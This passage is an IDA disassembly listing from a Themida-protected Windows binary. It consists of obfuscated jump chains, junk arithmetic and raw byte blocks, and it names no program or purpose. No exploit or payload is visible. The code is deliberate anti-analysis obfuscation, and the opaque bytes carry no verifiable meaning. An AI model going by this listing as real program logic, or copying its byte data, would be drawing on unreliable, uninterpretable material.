		dd 0E4C281FFh, 0C1758603h, 0B5E908EAh, 5B0000F7h, 70FEC681h
		dd 846817E8h, 89000041h, 0AFE9242Ch, 5D0000CDh,	81E78957h
		dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 0C3315C24h, 4EC81h
		dd 0C890000h
		db 24h,	54h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 40A26AC8h
		xor	esi, 40A26ACCh
		add	ecx, esi
		pop	esi
		jmp	loc_55F94B
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 4
aSq		db '$ИО-',0
		align 2
		dw 815Dh
		dd 0ED6FF6F2h, 4B36E946h, 1C890000h, 81E38924h,	4C3h, 4EC8100h
		dd 0E9000000h, 41Bh, 3C8BF801h,	4EC8324h, 68240489h, 20F0h
		dd 1027CE9h, 240C8700h,	0FEE4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554256:				; CODE XREF: Themida_:0055575Aj
		pop	esp
		jmp	loc_55F63C
; ---------------------------------------------------------------------------
		dd 31240433h, 4332404h,	24248B24h, 9CC83B66h, 0FFE94AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554271:				; CODE XREF: Themida_:00561831j
		add	esp, 4
		jmp	loc_55DAC8
; ---------------------------------------------------------------------------


loc_554279:				; CODE XREF: Themida_:005597C4j
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	43A96A9Eh
		pop	ebp
		sub	ebp, 56D3502Dh
		add	ebp, 59B1F06Dh
		mov	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 178759FDh
		push	edx
		mov	edx, 11D817B6h
		xor	edx, 3D812823h
		xor	edx, 2C593F94h
		add	ecx, edx
		jmp	loc_55C05A
; ---------------------------------------------------------------------------


loc_5542BE:				; CODE XREF: Themida_:0055837Fj
		pop	ecx
		and	ecx, eax
		mov	eax, [esp]
		jmp	loc_55FFFD
; ---------------------------------------------------------------------------
byte_5542C9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005529F8o
		dd 419589Dh, 0E4E99C24h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5542D7:				; CODE XREF: Themida_:0056247Dj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55334A
; ---------------------------------------------------------------------------


loc_5542EE:				; CODE XREF: Themida_:0055F175j
		push	esp
		jmp	loc_565C94
; ---------------------------------------------------------------------------
		dd 37C8BD55h, 0EF29600Fh, 0DD0CE9h, 0F7814F00h,	7ECB5B2Eh
		dd 815FFB89h, 351CC7EDh, 0AC58103h, 29685E08h, 0AED81DDh
		dd 81685E08h, 351CC7C5h, 0E03BE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55432A:				; CODE XREF: Themida_:0055E1ABj
		mov	edx, 4
		add	esi, 4E600C06h
		jmp	loc_56430A
; ---------------------------------------------------------------------------
		dw 5452h
		dd 0E924148Bh, 134B5h, 48BC301h, 4C48124h, 1000000h, 1BEB81F3h
		dd 5E76D679h, 1C8B0388h, 4C48124h, 0E9000000h, 0A5B9h
		dd 10EC80h, 10C480F4h, 5ECC05Ah, 6802E4C0h, 1DA6h, 66241489h
		dd 8893B551h, 9B9E9EAh,	0D7B90001h, 1733575h, 0ED8159CDh
		dd 1EA41E93h, 80E9DD01h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55439F:				; CODE XREF: Themida_:0055AF44j
		push	esp
		mov	ebp, [esp]
		jmp	loc_562B7A
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 4C6800h, 4890000h, 0E9E08924h, 1C52h
; ---------------------------------------------------------------------------


loc_5543C0:				; CODE XREF: Themida_:0055AD46j
		xor	ecx, 0F640AE4Bh
		mov	ebx, ecx
		pop	ecx
		inc	ebx
		shl	ebx, 3
		jmp	loc_55F5A7
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 1E98303h, 0F5D1E981h, 0CD291487h, 592434FFh,	607DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5543E9:				; CODE XREF: Themida_:0055F61Bj
		pop	edx
		add	ebx, 5C35684Fh
		sub	ebx, 573301Ch
		push	ebp
		jmp	loc_55B6F0
; ---------------------------------------------------------------------------


loc_5543FC:				; CODE XREF: Themida_:005603F8j
		or	ebp, edx
		jmp	loc_566BA0
; ---------------------------------------------------------------------------
byte_554403	db 66h			; DATA XREF: Themida_:00552A98o
		dd 81240C8Bh, 4ECh, 243C8900h, 5CE9E789h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554417:				; CODE XREF: Themida_:0055FC46j
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		jmp	loc_55A58B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 0EC832404h, 243C8904h, 4BA4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55443D:				; CODE XREF: Themida_:0056643Dj
		push	ecx
		jmp	loc_5660F4
; ---------------------------------------------------------------------------
byte_554443	db 66h			; DATA XREF: Themida_:00552A3Co
		dd 5124048Bh, 7B8568h, 24248900h, 2D7668h, 0E458E900h
		dd 48B0000h, 60BE924h, 0F5010000h, 4ED835Eh, 0E9242C87h
		dd 13E3Dh
; ---------------------------------------------------------------------------


loc_554470:				; CODE XREF: Themida_:0055F9B9j
		pop	ebx
		push	54BFh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5634F5
; ---------------------------------------------------------------------------
		db 89h
		dd 0F6E4E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554496:				; CODE XREF: Themida_:00562E7Ej
		add	ebx, 4
		push	ebx
		jmp	loc_560E24
; ---------------------------------------------------------------------------
		dw 0E829h
		dd 0E9C2015Dh, 885Bh, 0DAF7D2F7h, 4542E281h, 0F2813DCCh
		dd 28484006h, 565AD301h, 9E5FE9h, 24348700h, 9D42E95Ch
		dd 0D9F70000h, 0E6ADE9h, 0C335A00h, 240C3124h, 0E06DE9h
		dd 246C8100h, 0FD28DF04h, 815D5E7Dh, 4C5h, 30E6800h, 0C890000h
		dd 2B924h, 0CEE90000h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554503:				; CODE XREF: Themida_:005531ABj
		add	esp, 4
		shl	esi, 5
		jmp	loc_5568D8
; ---------------------------------------------------------------------------
word_55450E	dw 8B66h		; DATA XREF: Themida_:00552AD8o
		dd 71E92404h
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554517:				; CODE XREF: Themida_:00564C12j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_559B9F
; ---------------------------------------------------------------------------


loc_554525:				; CODE XREF: Themida_:00556949j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_560584
; ---------------------------------------------------------------------------
		dd 0E99C5066h, 0FFFFE67Fh, 5C240C33h, 0B1240C89h, 4DC180BDh
		dd 80CDB652h, 0E9809DC6h, 87E980DFh, 0C180F128h, 0D056E987h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55455E:				; CODE XREF: Themida_:0055F3E3j
		pop	ecx
		push	eax
		mov	eax, 0F892088h
		add	eax, 12F448E3h
		shr	eax, 6
		xor	eax, 21947C1Fh
		sub	eax, 13944C3Dh
		jmp	loc_559BA7
; ---------------------------------------------------------------------------
		dd 4245401h, 8904EC83h,	0BA2414h, 124C103h, 5A082454h
		dd 0F756E9h, 2E06800h, 0C890000h, 0A00AE924h, 0E95A0000h
		dd 0FFFFE613h, 51FFC180h, 592414F6h, 0DD54E9h, 81E18900h
		dd 4C1h, 4C18100h, 0E9000000h, 6B3Bh, 0FFE5EEE9h, 815B54FFh
		dd 4C3h, 0F6A5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5545DA:				; CODE XREF: Themida_:0055D0E6j
		add	ebx, 45A327ECh
		add	ebx, 256D6B4Ch
		pop	ecx
		jmp	loc_568038
; ---------------------------------------------------------------------------
		dd 31240433h, 5E92404h,	58000111h, 0E9241433h, 0C4AEh
; ---------------------------------------------------------------------------


loc_554600:				; CODE XREF: Themida_:00556C0Ej
		sub	eax, 787543B2h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_566963
; ---------------------------------------------------------------------------
		db 0E9h, 0A5h, 0E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554616:				; CODE XREF: Themida_:00560FF4j
		push	edx
		jmp	loc_561F38
; ---------------------------------------------------------------------------


loc_55461C:				; CODE XREF: Themida_:0055493Fj
		xchg	cl, bh
		dec	bh
		sub	bh, 50h
		xor	bh, 58h
		jmp	loc_563EED
; ---------------------------------------------------------------------------
		db 66h
		dd 4766DFF7h, 48EF8166h, 0F781662Fh, 33E95EAFh,	0F600012Bh
		dd 0D5C480D4h, 0F658E500h, 80CDFED5h, 25E9DFC5h, 89000097h
		dd 4BF243Ch
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5659DF
; ---------------------------------------------------------------------------
		dd 0F509E956h, 0E9510000h, 75h,	3099E95Ch, 0D1890000h
		dd 8324148Bh, 0C0E904C4h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55468B:				; CODE XREF: Themida_:00567EA6j
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 62h
		xor	dl, 0F8h
		xor	dl, 0E9h
		push	ecx
		mov	ch, dl
		not	ch
		jmp	loc_55BE4E
; ---------------------------------------------------------------------------


loc_5546A3:				; CODE XREF: Themida_:005655A2j
		xor	ebx, 29532269h
		mov	edx, ebx
		pop	ebx
		jmp	loc_567507
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 46F5E95Ch, 0F7810000h, 3DB60047h, 34FFF829h,	0C4815F24h
		dd 4, 31240433h, 4332404h, 9EB3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5546DA:				; CODE XREF: Themida_:00553253j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55914D
; ---------------------------------------------------------------------------
		dd offset loc_407868
		align 2
		dw 8F54h
		dd 4812404h, 424h, 0BF575900h, 4FC32BF3h, 0E37E9h, 0C7835800h
		dd 243C8704h, 24048F5Ch, 2404085Ch, 5811E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55471E:				; CODE XREF: Themida_:005657E0j
		sub	esi, 4E6A191Eh
		sub	esi, edx
		push	ecx
		mov	ecx, 4E6A191Eh
		add	esi, ecx
		pop	ecx
		sub	esi, 369F4C83h
		mov	edx, [esp]
		add	esp, 4
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1AD2149Dh
		xor	ebx, 151F4A4Ah
		jmp	loc_564A4E
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 3EC65E91h, 4EC81h, 2C890000h, 6DA4BD24h
		dd 0D5F72228h, 0DAFEE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55477E:				; CODE XREF: Themida_:0055D1FDj
		push	ebx
		mov	ebx, 27D334C9h
		jmp	loc_565C7B
; ---------------------------------------------------------------------------
		db 86h,	44h, 24h
		dd 0F5C7E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554792:				; CODE XREF: Themida_:00553A92j
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_5606E8
; ---------------------------------------------------------------------------
aS8		db '╥╢И8{',0
		dd 10685100h, 8B21A50Ch, 0C481240Ch, 4,	779CE9h, 46E95900h
		dd 8B0000E8h, 0A3E92424h, 1FFFFEEh, 0E6E958C7h,	8B0000DDh
		dd 89562414h, 4C681E6h,	83000000h, 37E904C6h, 810000A3h
		dd 0E209EAC6h, 0A5F68130h, 0E90AD40Bh, 0F7EAh, 40558h
		dd 0E8830000h, 667BE904h, 85680000h, 89000046h,	0F9BE2434h
		dd 0E9288806h, 49DEh, 0FB2DE801h, 5D2DB056h, 0E4627505h
		dd 0E3055970h, 173D417h, 368EE9C6h, 0C7810000h,	4, 8704EF83h
		dd 895C243Ch, 74FF241Ch, 1C8B0424h, 4C48324h, 0E924048Fh
		dd 0EBD9h
; ---------------------------------------------------------------------------


loc_554850:				; CODE XREF: Themida_:00558A44j
		mov	esp, [esp]
		push	edi
		jmp	loc_55F259
; ---------------------------------------------------------------------------


loc_554859:				; CODE XREF: Themida_:0055F009j
		xor	ebx, 50161E3h
		jmp	loc_557019
; ---------------------------------------------------------------------------


loc_554864:				; CODE XREF: Themida_:0055B67Aj
		sub	eax, 221B2EBh
		jmp	loc_554D26
; ---------------------------------------------------------------------------
		dw 0EE88h
		dd 6E6C059h, 0EEC0CEFEh, 0F371E902h, 0E953FFFFh, 5EE8h
; ---------------------------------------------------------------------------


loc_554884:				; CODE XREF: Themida_:00564EE2j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	1B29h
		mov	[esp], ebp
		push	eax
		jmp	loc_56537D
; ---------------------------------------------------------------------------


loc_55489D:				; CODE XREF: Themida_:00561474j
		push	edi
		mov	edi, 28CC7B0Fh
		shr	edi, 8
		shr	edi, 8
		add	edi, 1
		inc	edi
		push	146Fh
		mov	[esp], edx
		jmp	loc_557992
; ---------------------------------------------------------------------------
		db 81h,	34h, 24h
		dd 6E825CB5h, 5CB53558h, 0EC836E82h, 24048904h,	0AB242C81h
		dd 5A61C108h, 8ABC281h,	1DE961C1h, 570000A1h, 4443E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5548EA:				; CODE XREF: Themida_:005603C4j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_55F589
; ---------------------------------------------------------------------------


loc_5548F8:				; CODE XREF: Themida_:0055E644j
		mov	edx, 409875BBh
		xor	ebp, edx
		jmp	loc_55FFC0
; ---------------------------------------------------------------------------
		dd 4C781h, 3C870000h, 24248B24h, 34BF5756h, 0E935C242h
		dd 53Bh, 5E240CFFh, 8108EEC1h, 0CE7CAEEEh, 0A45EE9B4h
		dd 0F2810000h, 201B57CBh, 98E9D389h
		db 0C5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55493B:				; CODE XREF: Themida_:00564614j
		xchg	cl, bh
		inc	cl
		jmp	loc_55461C
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4ED81h, 0F6E90000h, 310000EFh, 4E959CFh
		dd 0F60000A2h, 0B6EE80D6h, 11E9F028h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55496B:				; CODE XREF: Themida_:0055B5C3j
		push	esp
		pop	esi
		jmp	loc_567D94
; ---------------------------------------------------------------------------
aWhuA		db 'WhU',8,'²',0
aS_6		db 'ИЁ╣',0
		dd 88525100h, 5AD588FAh, 88EA8852h, 8FE95AD4h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55498F:				; CODE XREF: Themida_:00565C76j
		mov	esi, 706EBCh
		sub	esi, 3B630E31h
		jmp	loc_55BDDE
; ---------------------------------------------------------------------------
aSc_0		db ')хИГш',0
		align 2
aZS		db '^┤<$\ИиЁ',0
		align 10h
		dd 0EC81C801h, 4, 0BE243489h, 0C8B3B35h, 8B5EF001h, 0C483240Ch
		dd 24043304h, 12082E9h,	5D595500h, 8159CB01h, 4C3h, 241C3300h
		dd 57AEE9h, 0A2685A00h,	0E9000063h, 77BBh, 4C56BF57h, 0DFF7161Bh
		dd 0DDC78147h, 993FB95h, 0F3815FFBh, 2B957DDAh,	525BD801h
		dd 609C6857h, 555F4BE2h, 0FCA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_554A19:				; CODE XREF: Themida_:0055E655j
		pop	eax
		pop	ecx
		push	eax
		push	4E7Fh
		jmp	loc_563283
; ---------------------------------------------------------------------------
		dw 0C8Bh
aPs_0		db '$PИ/"',0
		db 0
; ---------------------------------------------------------------------------


loc_554A2F:				; CODE XREF: Themida_:0055824Bj
		inc	edi
		jmp	loc_5611E3
; ---------------------------------------------------------------------------
aSyshm		db '(ХYИHm',0
		dd 242C8B00h, 4A2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_554A45:				; CODE XREF: Themida_:0055E735j
		mov	cl, 8
		jmp	loc_55F546
; ---------------------------------------------------------------------------
		dd 24BB6866h, 24148966h, 0E512E9h, 0E9CB2800h, 87C1h, 5E08950h
		dd 4, 4388E9h, 4C48100h, 81000000h, 31069FEAh, 50FA0123h
		dd 31069FB8h, 7FC28123h, 0E937E011h, 1243Ch, 8704EB83h
		dd 0E95C241Ch, 0AC2Dh
; ---------------------------------------------------------------------------


loc_554A98:				; CODE XREF: Themida_:00555479j
		push	14F3h
		mov	[esp], edx
		mov	dh, 35h
		push	ebx
		jmp	loc_562B5F
; ---------------------------------------------------------------------------
		dd 158C601h, 66E950CEh
		db 18h,	1, 0
; ---------------------------------------------------------------------------


loc_554AB3:				; CODE XREF: Themida_:0055D7E1j
		pop	edx
		mov	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55B46F
; ---------------------------------------------------------------------------
		db 89h
		dd 62BA2414h, 8171B017h, 0EB194DEAh, 0EA814A0Ah, 490143F3h
		dd 6341C281h, 0F3E97FD2h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554AE7:				; CODE XREF: Themida_:00560A8Cj
		pop	edi
		jmp	loc_56558E
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 685C2414h, 57C3h,	68240C89h, 1C80h, 0BB241C89h
		dd 2F00777Ah, 0FF88B6B9h, 0B9C181D0h, 0E979A914h, 887h
		dd 16E9FD89h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	eax
		mov	eax, 3339215Bh
		push	ebp
		mov	ebp, eax
		jmp	loc_55BB2A
; ---------------------------------------------------------------------------


loc_554B35:				; CODE XREF: Themida_:00552DD1j
		add	edi, 4
		push	176Ch
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	4FE6h
		jmp	loc_556F26
; ---------------------------------------------------------------------------
		dw 3A68h
		dd 0E91FF45Ah, 103A1h, 148BD788h, 4C48324h, 8B66FD28h
		dd 0D2E9241Ch
		db 0Fh,	1, 0
; ---------------------------------------------------------------------------


loc_554B73:				; CODE XREF: Themida_:005665BBj
		pop	esi
		xchg	edx, [esp]
		jmp	loc_561870
; ---------------------------------------------------------------------------
		dd 405E089h, 5000000h, 4, 2474FF50h, 48F5804h, 0BD555C24h
		dd 1CC514Ch, 5203EDC1h,	0FFFFFFBAh, 5AD529FFh, 4EC81h
		dd 62E90000h, 89000117h, 0B8505FFEh, 64B616C3h,	0A2764035h
		dd 0D1D0F746h, 4F9AE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BC6:				; CODE XREF: Themida_:00563F9Cj
		mov	ebx, esp
		jmp	loc_55F4C4
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0B5h
		dd 97000017h, 5697D0F7h, 784AB2BEh, 7EEE8170h, 8107971Dh
		dd 36776EEEh, 31D2E92Fh
		db 1, 0
; ---------------------------------------------------------------------------


loc_554BEE:				; CODE XREF: Themida_:00566F3Cj
		xor	edi, 2EC3414h
		jmp	loc_558712
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 27h
		dd 810F784Bh, 0D7ADBEAh, 5AD00172h, 8158C389h, 0B25A22EBh
		dd 0BABF5769h, 0F7726378h, 92F781DFh, 1AF84AFh,	83DE9FBh
		db 1, 0
; ---------------------------------------------------------------------------


loc_554C26:				; CODE XREF: Themida_:0055718Cj
		mov	[esp], esi
		mov	esi, 766D18DCh
		shr	esi, 6
		jmp	loc_56390A
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0A9BE5655h, 682B2B34h, 2342h, 0BB241C89h,	0D4D4CB59h
		dd 15BDD89h, 0B800E9F5h, 0C4810000h, 4,	773C68h, 24048900h
		dd 42474FFh, 24048F58h,	48B665Ch, 0E89AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554C7A:				; CODE XREF: Themida_:0055E158j
		push	eax
		mov	eax, 24h
		add	eax, 170C6F24h
		add	eax, edi
		jmp	loc_556DE9
; ---------------------------------------------------------------------------


loc_554C8C:				; CODE XREF: Themida_:00559C42j
		mov	ecx, 987A0BF9h
		xor	edx, ecx
		pop	ecx
		sub	ebx, 20476BDBh
		add	ebx, edx
		push	eax
		jmp	loc_55E9EA
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 7B42C0Fh, 835AD129h,	148904ECh, 59CBA24h, 0D1295017h
		dd 0E25EE95Ah
		db 2 dup(0FFh)
word_554CBE	dw 8B66h		; DATA XREF: Themida_:00552B5Co
		dd 0C6E92404h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554CC7:				; CODE XREF: Themida_:0055E43Aj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5565F0
; ---------------------------------------------------------------------------


loc_554CDE:				; CODE XREF: Themida_:0055D815j
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, 24FD5B31h
		shl	edx, 1
		sub	edx, 49FAB65Eh
		push	ecx
		mov	ecx, 0A8E4CFBh
		add	edi, 22361DFEh
		add	edi, ecx
		sub	edi, 22361DFEh
		pop	ecx
		add	edi, edx
		sub	edi, 0A8E4CFBh
		pop	edx
		add	edi, 4
		jmp	loc_55324F
; ---------------------------------------------------------------------------
		db 81h
		dd 0A237CEC2h, 0F47BE909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554D26:				; CODE XREF: Themida_:00554869j
		push	eax
		xor	dword ptr [esp], 14911ED2h
		pop	edx
		push	ebp
		mov	ebp, 400145C1h
		push	esi
		mov	esi, 6D0D5C0Bh
		xor	ebp, esi
		pop	esi
		xor	ebp, 399D0718h
		xor	edx, ebp
		pop	ebp
		jmp	loc_566F67
; ---------------------------------------------------------------------------


loc_554D4C:				; CODE XREF: Themida_:005611B2j
		pop	eax
		mov	edx, ecx
		pop	ecx
		jmp	loc_556EA7
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0EC815D54h, 4, 52240489h, 10915E9h
		db 0
; ---------------------------------------------------------------------------


loc_554D69:				; CODE XREF: Themida_:00560921j
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		neg	esi
		sub	esi, 0FFFFFFFFh
		add	esi, 1
		push	edx
		mov	edx, 14B908E7h
		inc	edx
		push	esi
		jmp	loc_55A910
; ---------------------------------------------------------------------------


loc_554D8D:				; CODE XREF: Themida_:00557EA3j
		pop	ecx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	bh, al
		jmp	loc_55BB4F
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 81000000h,	4C5h, 46816800h, 3C890000h, 26824h
		dd 0AEE90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554DC3:				; CODE XREF: Themida_:00559BC9j
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_566907
; ---------------------------------------------------------------------------


loc_554DCE:				; CODE XREF: Themida_:0055F16Dj
		mov	esp, [esp]
		mov	[esp], edx
		push	6E36h
		mov	[esp], ebp
		jmp	loc_556FF0
; ---------------------------------------------------------------------------


loc_554DE1:				; CODE XREF: Themida_:00555664j
		shl	ebp, 2
		add	ebp, 27C14953h
		sub	ebp, 0AB63EF0h
		jmp	loc_56031B
; ---------------------------------------------------------------------------


loc_554DF5:				; CODE XREF: Themida_:0055C3DCj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_565023
; ---------------------------------------------------------------------------
aZsg		db 'ZИg*',0
		dw 0BB00h
		dd 18DB6119h, 0BFEBE9h,	58C60100h, 37BC68h, 24348900h
		dd 56243C8Bh, 24348B54h, 5204C483h, 240CC4BAh, 0F7E28116h
		dd 42708B02h, 50C2814Ah, 8116D561h, 55F67C2h, 89C2814Eh
		dd 18B253Eh, 82685AD6h,	8900006Eh, 5FE92414h, 57000095h
		dd 0F75D5F55h, 81EF87D5h, 1C3D5BCFh, 0C781470Bh
dword_554E68	dd 65A7029Ah, 0FF5FE9h,	0ADC28100h, 12C3202h, 0ADEA81C2h
					; DATA XREF: Themida_:off_562EF7o
		dd 0E92C3202h, 11E9Fh, 68243489h, 426Eh, 0E9241489h, 2685h
; ---------------------------------------------------------------------------


loc_554E94:				; CODE XREF: Themida_:0055FB39j
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 661D1F13h
		mov	edx, 1C1C7591h
		xor	edx, eax
		pop	eax
		sub	edx, 46936449h
		push	ecx
		mov	ecx, 26560EF0h
		add	eax, ecx
		pop	ecx
		sub	eax, edx
		sub	eax, 26560EF0h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	[edi+20h], eax
		pop	eax
		jmp	loc_564625
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 81E68956h,	4C6h, 76CEE900h
		db 2 dup(0)
word_554EE2	dw 30ACh		; DATA XREF: Themida_:00552B68o
		dd 866866D8h, 14896648h, 4EC8124h, 89000000h, 0CFE9241Ch
		dd 0BD0000C7h, 4, 505DE801h, 0D7A3E9h, 0BABA5200h, 0E9595F68h
		dd 1232Fh, 74EF814Fh, 9D389FCh,	0C6815FFEh, 0CF23ABCFh
		dd 295FFE29h, 2434FFF1h, 4C4815Eh, 87000000h, 0E95C240Ch
		dd 10C5Fh, 4B05C681h, 815B5BBDh, 0A85CB0C6h, 721F2D6Eh
		dd 5E2D09EDh, 2D553656h, 78E50BEDh, 5B5BE9h, 71C58100h
		dd 811E6B17h, 0EC806FF5h, 0E9EF3173h, 0FFFFE9A5h, 0B850515Dh
		dd 2, 48BC189h,	80FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F82:				; CODE XREF: Themida_:0055FFFEj
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 2854DD1h
		add	eax, ebx
		add	eax, 2854DD1h
		pop	ebx
		xor	eax, [esp]
		jmp	loc_553E73
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 335A04C4h, 3C31243Ch, 243C3324h, 5524248Bh
		dd 0C95689BDh, 7E50E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554FC2:				; CODE XREF: Themida_:00560341j
		mov	ebp, ecx
		jmp	loc_55945B
; ---------------------------------------------------------------------------
		db 0C0h, 0E2h, 3
		dd 81595451h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 24248B24h
		dd 66240C89h, 0E9370A68h, 0A33Fh, 8B66D800h, 0C481241Ch
		dd 2, 0FEE95F04h, 3100004Eh, 0C2015AD0h, 8124048Bh, 4C4h
		dd 4EC8100h, 89000000h,	0A8BF243Ch, 172A99Eh, 85685FFAh
		dd 0E9000078h, 0F31Bh, 685B5B66h, 10B2h, 0E9241489h, 967h
		dd 5345C681h, 148B05CDh, 4C48124h, 8B000000h, 0C4812414h
		dd 4, 305368h, 24348900h, 0DADFE9h, 1E88300h, 25678A0Dh
		dd 44A6E950h, 0C3810000h, 4, 0C21E9h
		db 0
; ---------------------------------------------------------------------------


loc_555079:				; CODE XREF: Themida_:00565240j
		mov	ebp, 396C4BB7h
		shr	ebp, 8
		and	ebp, 516B3759h
		shr	ebp, 5
		add	ebp, 493817DAh
		jmp	loc_561A6A
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 81E18951h, 4C1h, 4E98300h, 0FFF1A4E9h, 0F52958FFh, 57F5295Eh
		dd 187783BFh, 81E7D107h, 9306BDEFh, 4EFC17Bh, 543AE950h
		dd 0BF570000h, 4, 835FFD01h, 2C8704EDh,	0F9C6E924h, 4C290000h
		dd 81590424h, 53B8242Ch, 42916B2h, 24048124h, 16B253B8h
		dd 14240481h, 8119C267h, 319F242Ch, 0B8E95EAAh,	8BFFFFDAh
		dd 14892424h, 0E99C5024h, 0FFFFDAABh, 4C181h, 0C1830000h
		dd 74FF5102h, 0C8B0424h, 4C48324h, 5C24048Fh, 0FF665266h
		dd 66022474h, 48F665Ah,	0DA81E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55513A:				; CODE XREF: Themida_:0055B417j
		sub	ebx, 0C61282EAh
		or	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55B661
; ---------------------------------------------------------------------------


loc_555153:				; CODE XREF: Themida_:0056791Aj
		sub	eax, 1C875EC8h
		push	eax
		jmp	loc_556DB5
; ---------------------------------------------------------------------------
		dw 0D529h
		dd 41B8505Ah, 0D099F36h, 30364F1Ah, 0EAB9E235h,	8BC52979h
		dd 0C4812404h, 4, 526BE9h, 4B800h, 0C7010000h, 74FF5758h
		dd 1BE90424h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555193:				; CODE XREF: Themida_:0056075Aj
		mov	ecx, 34A256A3h
		sub	ebx, ecx
